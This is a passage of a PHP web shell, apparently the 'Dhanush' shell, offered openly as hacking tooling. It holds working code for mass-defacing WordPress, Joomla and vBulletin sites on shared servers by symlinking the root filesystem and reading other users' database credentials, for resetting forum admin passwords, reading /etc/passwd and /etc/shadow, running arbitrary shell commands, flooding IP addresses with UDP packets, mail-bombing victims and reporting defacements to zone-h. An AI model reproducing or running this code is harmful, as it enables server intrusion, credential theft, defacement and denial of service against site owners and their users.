2978?><center><table><tr><td><a href=# onClick="getmydata('masswp')"><font class=txt size="4">| Wordpress |</font></a></td>
2979 <td><a href=# onClick="getmydata('massjo')"><font class=txt size="4">| Joomla |</font></a></td>
2980 <td><a href=# onClick="getmydata('massvb')"><font class=txt size="4">| Vbulletin |</font></a></td>
2981 </tr></table></center><br><div id="showmydata"></div><?php
2982} else if (isset($_REQUEST["masswp"])) {
2983?><center><form method="post">
2984 <textarea id="massdef" cols=80 rows="19" class="box">You Just Got Hacked</textarea>
2985 <br><input type="button" onClick="massdeface('domasswp',massdef.value)" class="but" value=" Go "></form></center><br><div id="showdef"></div><?php
2986} else if (isset($_REQUEST["massjo"])) {
2987?><center><form method="post"><textarea id="massdef" cols=80 rows="20" class="box">You Just Got Hacked</textarea>
2988 <br><input type="button" onClick="massdeface('domassjo',massdef.value)" class="but" value=" Go "></form></center><br><div id="showdef"></div><?php
2989} else if (isset($_REQUEST["massvb"])) {
2990?><center><form method="post"><textarea id="massdef" cols=80 rows="20" class="box">You Just Got Hacked</textarea>
2991 <br><input type="button" onClick="massdeface('domassvb',massdef.value)" class="but" value=" Go "></form></center><br><div id="showdef"></div><?php
2992} else if (isset($_REQUEST["massscript"])) {
2993 if ($os != "Windows") {
2994 $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
2995 $path = explode('/', $url);
2996 $url = str_replace($path[count($path) - 1], '', $url);
2997 echo "<center><table border=1 style='width:70%;'><tr align=center><th>Site</th><th>Message</th><tr>";
2998 if ($_REQUEST["massscript"] == "domasswp") {
2999 mkdir("dhanush");
3000 chdir("dhanush");
3001 execmd("ln -s / root");
3002 $file3 = 'Options all
3003 DirectoryIndex Sux.html
3004 AddType text/plain .php
3005 AddHandler server-parsed .php
3006 AddType text/plain .html
3007 AddHandler txt .html
3008 Require None
3009 Satisfy Any
3010 ';
3011 $fp3 = fopen('.htaccess', 'w');
3012 $fw3 = fwrite($fp3, $file3);
3013 @fclose($fp3);
3014 if (@file('/etc/passwd')) {
3015 $users = file('/etc/passwd');
3016 foreach ($users as $user) {
3017 $user = explode(':', $user);
3018 $conf = @file_get_contents($url . "dhanush/root/home/" . $user[0] . "/public_html/wp-config.php");
3019 if (entre2v2($conf, "define('DB_USER', '", "');")) changeindexwp($conf, $_REQUEST['massdef']);
3020 }
3021 } else {
3022 $temp = "";
3023 $val1 = 0;
3024 $val2 = 1000;
3025 for (;$val1 <= $val2;$val1++) {
3026 $uid = @posix_getpwuid($val1);
3027 if ($uid) $temp.= join(':', $uid) . "
3028";
3029 }
3030 $temp = trim($temp);
3031 if ($file5 = fopen("test.txt", "w")) {
3032 fputs($file5, $temp);
3033 fclose($file5);
3034 $file = fopen("test.txt", "r");
3035 while (!feof($file)) {
3036 $s = fgets($file);
3037 $matches = array();
3038 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
3039 $matches = str_replace("home/", "", $matches[1]);
3040 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
3041 $conf = @file_get_contents($url . "dhanush/root/home/" . $matches . "/public_html/wp-config.php");
3042 if (entre2v2($conf, "define('DB_USER', '", "');")) changeindexwp($conf, $_REQUEST['massdef']);
3043 }
3044 fclose($file);
3045 }
3046 }
3047 } elseif ($_REQUEST["massscript"] == "domassjo") {
3048 mkdir("dhanush");
3049 chdir("dhanush");
3050 $d0mains = @file("/etc/named.conf");
3051 if ($d0mains) {
3052 $dcount = 1;
3053 $dcount = 1;
3054 foreach ($d0mains as $d0main) {
3055 if (eregi("zone", $d0main)) {
3056 preg_match_all('#zone "(.*)"#', $d0main, $domains);
3057 flush();
3058 if (strlen(trim($domains[1][0])) > 2) {
3059 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
3060 echo $dcount . " " . $domains[1][0] . "<br>";
3061 $conf = @file_get_contents($url . "dhanush/root/home/" . $user['name'] . "/public_html/configuration.php");
3062 if (entre2v2($conf, $dol . "user = '", "';")) changeindexjo($conf, $_REQUEST['massdef'], $domains[1][0]);
3063 $dcount++;
3064 }
3065 }
3066 }
3067 } else echo "Cannot Read /etc/named.conf";
3068 } elseif ($_REQUEST["massscript"] == "domassvb") {
3069 mkdir("dhanush");
3070 chdir("dhanush");
3071 if (@file('/etc/passwd')) {
3072 $users = file('/etc/passwd');
3073 foreach ($users as $user) {
3074 $user = explode(':', $user);
3075 $conf = @file_get_contents($url . "dhanush/root/home/" . $user['0'] . "/public_html/includes/config.php");
3076 if (entre2v2($conf, "['MasterServer']['username'] = '", "';")) changeindexvb($conf, $_REQUEST['massdef']);
3077 $conf = @file_get_contents($url . "dhanush/root/home/" . $user['0'] . "/public_html/vb/configuration.php");
3078 if (entre2v2($conf, "['MasterServer']['username'] = '", "';")) changeindexvb($conf, $_REQUEST['massdef']);
3079 $conf = @file_get_contents($url . "dhanush/root/home/" . $user['0'] . "/public_html/forum/configuration.php");
3080 if (entre2v2($conf, "['MasterServer']['username'] = '", "';")) changeindexvb($conf, $_REQUEST['massdef']);
3081 $conf = @file_get_contents($url . "dhanush/root/home/" . $user['0'] . "/public_html/core/configuration.php");
3082 if (entre2v2($conf, "['MasterServer']['username'] = '", "';")) changeindexvb($conf, $_REQUEST['massdef']);
3083 $conf = @file_get_contents($url . "dhanush/root/home/" . $user['0'] . "/public_html/vb/core/configuration.php");
3084 if (entre2v2($conf, "['MasterServer']['username'] = '", "';")) changeindexvb($conf, $_REQUEST['massdef']);
3085 }
3086 } else {
3087 $temp = "";
3088 $val1 = 0;
3089 $val2 = 1000;
3090 for (;$val1 <= $val2;$val1++) {
3091 $uid = @posix_getpwuid($val1);
3092 if ($uid) $temp.= join(':', $uid) . "
3093";
3094 }
3095 $temp = trim($temp);
3096 if ($file5 = fopen("test.txt", "w")) {
3097 fputs($file5, $temp);
3098 fclose($file5);
3099 $file = fopen("test.txt", "r");
3100 while (!feof($file)) {
3101 $s = fgets($file);
3102 $matches = array();
3103 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
3104 $matches = str_replace("home/", "", $matches[1]);
3105 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
3106 $conf = @file_get_contents($url . "dhanush/root/home/" . $matches . "/public_html/includes/config.php");
3107 if (entre2v2($conf, "['MasterServer']['username'] = '", "';")) changeindexvb($conf, $_REQUEST['massdef']);
3108 $conf = @file_get_contents($url . "dhanush/root/home/" . $matches . "/public_html/vb/configuration.php");
3109 if (entre2v2($conf, "['MasterServer']['username'] = '", "';")) changeindexvb($conf, $_REQUEST['massdef']);
3110 $conf = @file_get_contents($url . "dhanush/root/home/" . $matches . "/public_html/forum/configuration.php");
3111 if (entre2v2($conf, "['MasterServer']['username'] = '", "';")) changeindexvb($conf, $_REQUEST['massdef']);
3112 $conf = @file_get_contents($url . "dhanush/root/home/" . $matches . "/public_html/core/configuration.php");
3113 if (entre2v2($conf, "['MasterServer']['username'] = '", "';")) changeindexvb($conf, $_REQUEST['massdef']);
3114 $conf = @file_get_contents($url . "dhanush/root/home/" . $matches . "/public_html/vb/core/configuration.php");
3115 if (entre2v2($conf, "['MasterServer']['username'] = '", "';")) changeindexvb($conf, $_REQUEST['massdef']);
3116 changeindexvb($conf, $_REQUEST['massdef']);
3117 }
3118 fclose($file);
3119 }
3120 }
3121 }
3122 echo "</table><center>";
3123 } else echo "<center>Cannot do mass deface</center>";
3124} else if (isset($_REQUEST["defaceforum"])) {
3125?>
3126 <center><div id="showdeface"></div>
3127 <font size="4">Forum Index Changer</font>
3128 <form action="<?php echo $self; ?>" method = "POST">
3129 <input type="hidden" name="forum">
3130 <input type="hidden" name="defaceforum">
3131 <table class=btmtbl border = "1" width="60%" style="text-align: center;" align="center">
3132 <tr>
3133 <td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td>
3134
3135 <td width="50%"><b> Database :</b> <input type ="text" class="sbox" name = "f2" size="20"></td></tr>
3136 <tr><td height="50" width="50%"><b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> </td>
3137 <td><b> Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
3138
3139 <tr><td height="50" width="50%">Type :
3140 <select class=sbox id="forumdeface" name="forumdeface" onChange="checkforum(this.value)">
3141 <option value="vb">vbulletin</option>
3142 <option value="mybb">Mybb</option>
3143 <option value="smf">SMF</option>
3144 <option value="ipb">IPB</option>
3145 <option value="wp">Wordpress</option>
3146 <option value="joomla">Joomla</option>
3147 </select></td>
3148 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td></td>
3149
3150 </tr>
3151 <tr>
3152 <td height="167" width="50%" colspan=2>
3153 <div style="display:none;" id="myjoomla"><p><b>Site URL : </b><input class="box" type="text" id="siteurl" name="siteurl" width="80" value="http://site.com/administrator/"></p></div>
3154
3155 <div style="display:none;" id="smfipb"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked"> <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">
3156
3157 </div>
3158
3159 <p align="center"> <textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center">
3160 <input type="button" onClick="forumdefacefn(index.value,f1.value,f2.value,f3.value,f4.value,forumdeface.value,tableprefix.value,siteurl.value,head.value,f5.value)" class="but" value = "Hack It">
3161 </td>
3162 </tr>
3163 </table>
3164 </form>
3165 </center>
3166 <?php
3167} else if (isset($_GET["passwordchange"])) {
3168 echo "<center>";
3169?>
3170 <div id="showchangepass"></div>
3171 <font size="4">Forum Password Changer</font>
3172 <form onSubmit="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uname.value,newpass.value);return false;">
3173 <table class=btmtbl border = "1" width="60%" height="246" style="text-align: center;" align="center">
3174 <tr>
3175 <td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td><td height="50" width="50"> <b> DataBase :</b> <input type ="text" class="sbox" name = "f2" size="20"></td> <tr><td height="50" width="50%"> <b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"></td><td height="50" width="50%"> <b>Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
3176 <tr>
3177 <td height="50" width="50%">Type :
3178 <select class=sbox id="forums" name="forums" onChange="showMsg(this.value)">
3179 <option value="vb">vbulletin</option>
3180 <option value="mybb">Mybb</option>
3181 <option value="smf">SMF</option>
3182 <option value="ipb">IPB</option>
3183 <option value="phpbb">PHPBB</option>
3184 <option value="wp">Wordpress</option>
3185 <option value="joomla">Joomla</option>
3186 </select></td>
3187 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td>
3188 </tr>
3189 <tr>
3190 <td colspan=2 height="100" width="780">
3191
3192 <p align="center"><div id="fid" style="display:block;"><b>User ID :</b> <input class="sbox" type="text" name="ipbuid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newipbpass" size="20" value="hacked"></div>
3193
3194 <div id="joomla" style="display:none;"><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="username" size="20" value="admin"> <b>New Password :</b> <input type ="text" class="sbox" name = "newjoomlapass" size="20" value="hacked"></div>
3195
3196 <div id="wpress" style="display:none;"><p><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="uname" size="20" value="admin"> <b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p></div>
3197
3198 <p><input type = "button" onClick="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uname.value,newpass.value)" class="but" value = " Change IT " name="forumpass"></p></td>
3199 </tr>
3200 </table>
3201 </form>
3202 </center>
3203 <?php
3204} else if (isset($_GET['dosser'])) {
3205 if (isset($_GET['ip']) && isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && $_GET['exTime'] != "" && $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['timeout'] != "" && $_GET['exTime'] != "") {
3206 $IP = $_GET['ip'];
3207 $port = $_GET['port'];
3208 $executionTime = $_GET['exTime'];
3209 $no0fBytes = $_GET['no0fBytes'];
3210 $data = "";
3211 $timeout = $_GET['timeout'];
3212 $packets = 0;
3213 $counter = $no0fBytes;
3214 $maxTime = time() + $executionTime;;
3215 while ($counter--) {
3216 $data.= "X";
3217 }
3218 $data.= " Dhanush";
3219 while (1) {
3220 $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
3221 if ($socket) {
3222 fwrite($socket, $data);
3223 fclose($socket);
3224 $packets++;
3225 }
3226 if (time() >= $maxTime) {
3227 break;
3228 }
3229 }
3230 echo "Dos Completed!<br>";
3231 echo "DOS attack against udp://$IP:$port completed on " . date("h:i:s A") . "<br />";
3232 echo "Total Number of Packets Sent : " . $packets . "<br />";
3233 echo "Total Data Sent = " . HumanReadableFilesize($packets * $no0fBytes) . "<br />";
3234 echo "Data per packet = " . HumanReadableFilesize($no0fBytes) . "<br />";
3235 }
3236} else if (isset($_GET['fuzzer'])) {
3237 if (isset($_GET['ip']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && isset($_GET['no0fBytes']) && isset($_GET['multiplier']) && $_GET['no0fBytes'] != "" && $_GET['exTime'] != "" && $_GET['timeout'] != "" && $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['multiplier'] != "") {
3238 $IP = $_GET['ip'];
3239 $port = $_GET['port'];
3240 $times = $_GET['exTime'];
3241 $timeout = $_GET['timeout'];
3242 $send = 0;
3243 $ending = "";
3244 $multiplier = $_GET['multiplier'];
3245 $data = "";
3246 $mode = "tcp";
3247 $data.= "GET /";
3248 $ending.= " HTTP/1.1
3249
3250
3251
3252
3253";
3254 if ($_GET['type'] == "tcp") {
3255 $mode = "tcp";
3256 }
3257 while ($multiplier--) {
3258 $data.= urlencode($_GET['no0fBytes']);
3259 }
3260 $data.= "%s%s%s%s%d%x%c%n%n%n%n"; // add some format string specifiers
3261 $data.= "by-Dhanush" . $ending;
3262 $length = strlen($data);
3263 echo "Sending Data :- <br /> <p align='center'>$data</p>";
3264 for ($i = 0;$i < $times;$i++) {
3265 $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
3266 if ($socket) {
3267 fwrite($socket, $data, $length);
3268 fclose($socket);
3269 }
3270 }
3271 echo "Fuzzing Completed!<br>";
3272 echo "DOS attack against $mode://$IP:$port completed on " . date("h:i:s A") . "<br />";
3273 echo "Total Number of Packets Sent : " . $times . "<br />";
3274 echo "Total Data Sent = " . HumanReadableFilesize($times * $length) . "<br />";
3275 echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
3276 }
3277} else if (isset($_GET['bypassit'])) {
3278 if (isset($_GET['copy'])) {
3279 if (@copy($_GET['copy'], "test1.php")) {
3280 $fh = fopen("test1.php", 'r');
3281 echo "<textarea cols=120 rows=20 class=box readonly>" . htmlspecialchars(@fread($fh, filesize("test1.php"))) . "</textarea></br></br>";
3282 @fclose($fh);
3283 unlink("test1.php");
3284 }
3285 } else if (isset($_GET['imap'])) {
3286 $string = $_GET['imap'];
3287 echo "<textarea cols=120 rows=20 class=box readonly>";
3288 $stream = imap_open($string, "", "");
3289 $str = imap_body($stream, 1);
3290 echo "</textarea>";
3291 } else if (isset($_GET['sql'])) {
3292 echo "<textarea cols=120 rows=20 class=box readonly>";
3293 $file = $_GET['sql'];
3294 $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
3295 $mysql_files = explode(':', $mysql_files_str);
3296 $sql = array("USE $mdb", 'CREATE TEMPORARY TABLE ' . ($tbl = 'A' . time()) . ' (a LONGBLOB)', "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS " . "TERMINATED BY '__THIS_NEVER_HAPPENS__' " . "ESCAPED BY '' " . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", "SELECT a FROM $tbl LIMIT 1");
3297 mysql_connect($mhost, $muser, $mpass);
3298 foreach ($sql as $statement) {
3299 $q = mysql_query($statement);
3300 if ($q == false) die("FAILED: " . $statement . "
3301" . "REASON: " . mysql_error() . "
3302");
3303 if (!$r = @mysql_fetch_array($q, MYSQL_NUM)) continue;
3304 echo htmlspecialchars($r[0]);
3305 mysql_free_result($q);
3306 }
3307 echo "</textarea>";
3308 } else if (isset($_GET['curl'])) {
3309 $ch = curl_init("file://" . $_GET[curl]);
3310 curl_setopt($ch, CURLOPT_HEADERS, 0);
3311 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
3312 $file_out = curl_exec($ch);
3313 curl_close($ch);
3314 echo "<textarea cols=120 rows=20 class=box readonly>" . htmlspecialchars($file_out) . "</textarea></br></br>";
3315 } else if (isset($_GET['include'])) {
3316 if (file_exists($_GET['include'])) {
3317 echo "<textarea cols=120 rows=20 class=box readonly>";
3318 @include ($_GET['include']);
3319 echo "</textarea>";
3320 } else echo "<br><center><font size=3>Can't Read" . $_GET['include'] . "</font></center>";
3321 } else if (isset($_GET['id'])) {
3322 echo "<textarea cols=120 rows=20 class=box readonly>";
3323 for ($uid = 0;$uid < 60000;$uid++) { //cat /etc/passwd
3324 $ara = posix_getpwuid($uid);
3325 if (!empty($ara)) {
3326 while (list($key, $val) = each($ara)) {
3327 print "$val:";
3328 }
3329 print "
3330";
3331 }
3332 }
3333 echo "</textarea>";
3334 break;
3335 } else if (isset($_GET['tempnam'])) {
3336 $mytmp = tempnam('tmp', $_GET['tempnam']);
3337 $fp = fopen($mytmp, 'r');
3338 while (!feof($fp)) echo fgets($fp);
3339 fclose($fp);
3340 } else if (isset($_GET['symlnk'])) {
3341 echo "<textarea cols=120 rows=20 class=box readonly>";
3342 @mkdir("mydhanush", 0777);
3343 @chdir("mydhanush");
3344 execmd("ln -s /etc/passwd");
3345 echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/mydhanush/passwd");
3346 echo "</textarea>";
3347 }
3348 if (isset($_GET['newtype'])) {
3349 $filename = $_GET['newtype'];
3350 echo "<textarea cols=120 rows=20 class=box readonly>";
3351 if ($_GET['optiontype'] == "xxd") echo execmd("xxd " . $filename);
3352 else if ($_GET['optiontype'] == "rev") echo execmd("rev " . $filename);
3353 if ($_GET['optiontype'] == "tac") echo execmd("tac " . $filename);
3354 if ($_GET['optiontype'] == "more") echo execmd("more " . $filename);
3355 if ($_GET['optiontype'] == "less") echo execmd("less " . $filename);
3356 echo "</textarea>";
3357 }
3358}
3359// Deface Website
3360else if (isset($_GET['deface'])) {
3361 $myfile = fopen($_GET['deface'], 'w');
3362 if (fwrite($myfile, base64_decode($ind))) {
3363 fclose($myfile);
3364 echo "Index Defaced Successfully";
3365 } else echo "Donot have write permission";
3366} else if (isset($_GET['perms'])) {
3367?>
3368 <form>
3369 <input type="hidden" name="myfilename" value="<?php echo $_GET['myfilepath']; ?>">
3370 <table align="center" border="1" style="width:40%;border-color:#333333;">
3371 <tr>
3372 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
3373 </tr>
3374 <tr>
3375 <td colspan="2" align="center" style="height:60px">
3376 <input type="button" onClick="changeperms(chmode.value,myfilename.value)" value="Change Permission" class="but" style="padding: 5px;" /></td>
3377 </tr>
3378 </table>
3379
3380 </form>
3381 <?php
3382} else if (isset($_GET["chmode"])) {
3383 if ($_GET['chmode'] != null && is_numeric($_GET['chmode'])) {
3384 $perms = 0;
3385 for ($i = strlen($_GET['chmode']) - 1;$i >= 0;--$i) $perms+= (int)$_GET['chmode'][$i] * pow(8, (strlen($_GET['chmode']) - $i - 1));
3386 if (@chmod($_GET['myfilename'], $perms)) echo "<center><blink><font class=txt>File Permissions Changed Successfully</font></blink></center>";
3387 else echo "<center><blink>Cannot Change File Permissions</blink></center>";
3388 }
3389} else if (isset($_GET['rename'])) {
3390?>
3391 <form>
3392 <table border="0" cellpadding="3" cellspacing="3">
3393 <tr>
3394 <td>File </td><td><input value="<?php echo $_GET['myfilepath']; ?>" name="file" class="box" /></td>
3395 </tr>
3396 <tr>
3397 <td>To </td><td><input value="<?php echo $_GET['myfilepath']; ?>" name="to" class="box" /></td>
3398 </tr>
3399 <tr>
3400 <td colspan="2"><input type="button" onClick="renamefun(file.value,to.value)" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/></td>
3401 </tr>
3402 </table>
3403 </form>
3404 <?php
3405} else if (isset($_GET['renamemyfile'])) {
3406 if (isset($_GET['to']) && isset($_GET['file'])) {
3407 if (!rename($_GET['file'], $_GET['to'])) echo "Cannot Rename File";
3408 else echo "<font class=txt>File Renamed Successfully</font>";
3409 }
3410} else if (isset($_GET['open'])) {
3411 if (is_file($_GET['myfilepath'])) {
3412 $owner = "0/0";
3413 if ($os == "Linux") $owner = getOGid($_GET['myfilepath']);
3414?>
3415 <form>
3416 <table style="width:57%;">
3417 <tr align="left">
3418 <td align="left">File : </td><td><font class=txt><?php echo $_GET['myfilepath']; ?></font></td><td align="left">Permissions : </td><td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo addslashes($_GET['myfilepath']); ?>')"><?php echo filepermscolor($_GET['myfilepath']); ?></a></td>
3419 </tr>
3420 <tr>
3421 <td>Size : </td><td><?php echo HumanReadableFileSize(filesize($_GET['myfilepath'])); ?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner; ?></font></td>
3422 </tr>
3423 </table>
3424 <textarea name="content" rows="15" cols="100" class="box"><?php
3425 $content = htmlspecialchars(file_get_contents($_GET['myfilepath']));
3426 if ($content) {
3427 echo $content;
3428 } else if (function_exists('fgets') && function_exists('fopen') && function_exists('feof')) {
3429 if (filesize($_GET['myfilepath']) != 0) {
3430 fopen($_GET['myfilepath']);
3431 while (!feof()) {
3432 echo htmlspecialchars(fgets($_GET['myfilepath']));
3433 }
3434 }
3435 }
3436?>
3437 </textarea><br />
3438 <input name="save" type="button" onClick="savemyfile('<?php echo addslashes($_GET['myfilepath']); ?>',content.value)" value="Save Changes" id="spacing" class="but"/>
3439 </form>
3440 <?php
3441 } else echo "File does not exist !!!!";
3442} else if (isset($_POST['file']) && isset($_POST['content'])) {
3443 if (file_exists($_POST['file'])) {
3444 $handle = fopen($_POST['file'], "w");
3445 if (fwrite($handle, $_POST['content'])) echo "<font class=txt>File Saved Successfully!</font>";
3446 else echo "Cannot Write into File";
3447 } else {
3448 echo "File Name Specified does not exists!";
3449 }
3450} else if (isset($_POST["SendNowToZoneH"])) {
3451 $hacker = $_POST['defacer'];
3452 $method = $_POST['hackmode'];
3453 $neden = $_POST['reason'];
3454 $site = $_POST['domain'];
3455 if (empty($hacker)) {
3456 die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
3457 } elseif ($method == "--------SELECT--------") {
3458 die("<center><font size=3>[-] You Must Select The Method !</center>");
3459 } elseif ($neden == "--------SELECT--------") {
3460 die("<center><font size=3>[-] You Must Select The Reason</center>");
3461 } elseif (empty($site)) {
3462 die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
3463 }
3464 // Zone-h Poster
3465 function ZoneH($url, $hacker, $hackmode, $reson, $site) {
3466 $k = curl_init();
3467 curl_setopt($k, CURLOPT_URL, $url);
3468 curl_setopt($k, CURLOPT_POST, true);
3469 curl_setopt($k, CURLOPT_POSTFIELDS, "defacer=" . $hacker . "&domain1=" . $site . "&hackmode=" . $hackmode . "&reason=" . $reson);
3470 curl_setopt($k, CURLOPT_FOLLOWLOCATION, true);
3471 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
3472 $kubra = curl_exec($k);
3473 curl_close($k);
3474 return $kubra;
3475 }
3476 $i = 0;
3477 $sites = explode("
3478", $site);
3479 echo "<pre class=ml1 style='margin-top:5px'>";
3480 while ($i < count($sites)) {
3481 if (substr($sites[$i], 0, 4) != "http") {
3482 $sites[$i] = "http://" . $sites[$i];
3483 }
3484 ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
3485 echo "<font class=txt size=3>Site : " . $sites[$i] . " Posted !</font><br>";
3486 ++$i;
3487 }
3488 echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
3489} else if (isset($_GET['executemycmd'])) {
3490 $comm = $_GET['executemycmd'];
3491 chdir($_GET['executepath']);
3492 echo shell_exec($comm);
3493}
3494// View Passwd file
3495else if (isset($_GET['passwd'])) {
3496 $test = '';
3497 $tempp = tempnam($test, "cx");
3498 $get = "/etc/passwd";
3499 $name = @posix_getpwuid(@fileowner($get));
3500 $group = @posix_getgrgid(@filegroup($get));
3501 $owner = $name['name'] . " / " . $group['name'];
3502?>
3503 <table style="width:57%;">
3504 <tr>
3505 <td align="left">File : </td><td><font class=txt><?php echo $get; ?></font></td><td align="left">Permissions : </td><td><?php echo filepermscolor($get); ?></td>
3506 </tr>
3507 <tr>
3508 <td>Size : </td><td><?php echo filesize($get); ?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner; ?></font></td>
3509 </tr>
3510 </table>
3511 <?php
3512 if (copy("compress.zlib://" . $get, $tempp)) {
3513 $fopenzo = fopen($tempp, "r");
3514 $freadz = fread($fopenzo, filesize($tempp));
3515 fclose($fopenzo);
3516 $source = htmlspecialchars($freadz);
3517 echo "<tr><td><center><textarea rows='20' cols='80' class=box name='source'>$source</textarea><br>";
3518 unlink($tempp);
3519 } else {
3520?>
3521 <form>
3522 <input type="hidden" name="etcpasswd">
3523 <table class="tbl" border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
3524 <tr>
3525 <td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
3526 </tr>
3527 <tr>
3528 <td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
3529 </tr>
3530 <tr>
3531 <td colspan="2" align="center"><input type="submit" value=" Go " class="but"></td>
3532 </tr>
3533 </table><br>
3534 </form>
3535 <?php
3536 }
3537} else if (isset($_GET['shadow'])) {
3538 $test = '';
3539 $tempp = tempnam($test, "cx");
3540 $get = "/etc/shadow";
3541 if (copy("compress.zlib://" . $get, $tempp)) {
3542 $fopenzo = fopen($tempp, "r");
3543 $freadz = fread($fopenzo, filesize($tempp));
3544 fclose($fopenzo);
3545 $source = htmlspecialchars($freadz);
3546 echo "<tr><td><center><font size='3' face='Verdana'>$get</font><br><textarea rows='20' cols='80' class=box name='source'>$source</textarea>";
3547 unlink($tempp);
3548 }
3549} else if (isset($_GET['bomb'])) {
3550?><div id="showmail"></div>
3551 <form>
3552 <table id="margins" style="width:100%;">
3553 <tr>
3554 <td style="width:30%;">To</td>
3555 <td>
3556 <input class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
3557 </td>
3558 </tr>
3559 <tr>
3560 <td style="width:30%;">Subject</td>
3561 <td>
3562 <input type="text" class="box" name="subject" value="Dhanush Here!" onFocus="if(this.value == 'Dhanush Here!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!';" />
3563 </td>
3564 </tr>
3565 <tr>
3566 <td style="width:30%;">No. of Times</td>
3567 <td>
3568 <input class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';"/>
3569 </td>
3570 </tr>
3571 <tr>
3572 <td style="width:30%;">Pad your message (Less spam detection)</td>
3573 <td><input type="checkbox" name="padding"/></td>
3574 </tr>
3575 <tr>
3576 <td colspan="2"><textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!</textarea></td>
3577 </tr>
3578 <tr>
3579 <td rowspan="2">
3580 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('dobombing',to.value,subject.value,message.value,'null',times.value,padding.value)" class="but" value=" Bomb! "/>
3581 </td>
3582 </tr>
3583 </table>
3584 </form>
3585 <?php
3586}
3587//Mass Mailer
3588else if (isset($_GET['mail'])) {
3589?><div id="showmail"></div>
3590 <div align="left">
3591 <form>
3592 <table align="left" style="width:100%;">
3593 <tr>
3594 <td style="width:10%;">From</td>
3595 <td style="width:80%;" align="left"><input name="from" class="box" value="Hello@abcd.in" onFocus="if(this.value == 'president@whitehouse.gov')this.value = '';" onBlur="if(this.value=='')this.value='president@whitehouse.gov';"/></td>
3596 </tr>
3597
3598 <tr>
3599 <td style="width:20%;">To</td>
3600 <td style="width:80%;"><input class="box" class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/></td>
3601 </tr>
3602
3603 <tr>
3604 <td style="width:20%;">Subject</td>
3605 <td style="width:80%;"><input type="text" class="box" name="subject" value="Dhanush Here!!" onFocus="if(this.value == 'Dhanush Here!!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!!';" /></td>
3606 </tr>
3607
3608
3609 <tr>
3610 <td colspan="2">
